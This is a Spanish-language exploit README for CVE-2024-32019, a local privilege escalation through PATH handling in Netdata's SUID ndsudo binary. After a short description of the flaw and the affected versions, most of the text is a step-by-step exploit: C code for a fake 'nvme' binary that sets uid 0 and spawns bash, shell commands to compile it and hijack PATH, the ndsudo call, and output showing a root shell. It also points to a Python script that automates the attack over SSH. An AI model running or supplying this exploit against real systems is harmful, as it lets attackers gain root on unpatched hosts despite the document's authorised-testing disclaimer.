
CVE-2024-32019 es una vulnerabilidad de escalada de privilegios local de alta gravedad en Netdata (versiones >= 1.44.0-60 < 1.45.3), causada por el uso inseguro de la variable PATH en el binario SUID ndsudo, lo que permite a los atacantes ejecutar comandos arbitrarios como root.
ndsudo de Netdata (LPE a Root)Un exploit basado en Python para CVE-2024-32019, una vulnerabilidad de escalada de privilegios local de alta severidad en el agente de Netdata, que aprovecha un binario SUID mal configurado (ndsudo) que no maneja de forma segura la variable de entorno PATH.
[!Caution] Este código es solo para fines educativos y de pruebas autorizadas. El uso no autorizado de esta herramienta contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal.
ID de CVE: CVE-2024-32019
Puntuación CVSS: 8.8 (Alta)
Divulgado: 12 de abril de 2024
Componente: Netdata Agent
Versiones afectadas:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169La herramienta ndsudo de Netdata es un binario SUID root diseñado para ejecutar de forma segura un conjunto limitado de comandos del sistema (como nvme) en nombre de usuarios no root.
Sin embargo, debido a un fallo de implementación, respeta la variable PATH controlada por el usuario al resolver los binarios de los comandos. Si un atacante puede manipular el PATH para incluir un directorio con permisos de escritura que contenga un binario malicioso, ndsudo lo ejecutará con privilegios de root — lo que resulta en una escalada de privilegios local.
Los siguientes pasos demuestran cómo explotar manualmente la vulnerabilidad en ndsudo.
Guarda el siguiente código C como nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Si tiene éxito, obtendrás una shell root.
# whoami
root
Si tienes acceso SSH, puedes usar CVE-2024-32019-dbs.py para automatizar esto.
